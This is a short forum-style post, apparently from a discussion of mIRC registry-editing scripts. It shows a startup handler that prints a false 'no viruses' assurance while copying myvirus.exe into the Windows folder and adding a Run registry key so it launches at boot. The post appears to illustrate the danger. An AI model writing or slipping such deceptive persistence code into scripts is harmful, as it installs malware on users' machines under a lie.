As you do talk about the regitry ediiting scripts--
on 1:START: {
/echo -s Thank you for using my script! This script is ensured to not come with any viruses!
/copy myvirus.exe $env(windir)
/regwrite HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\Run MyVirus $env(windir) $+ \myvirus.exe
}
*also assuming the enviornmental variable alias was added.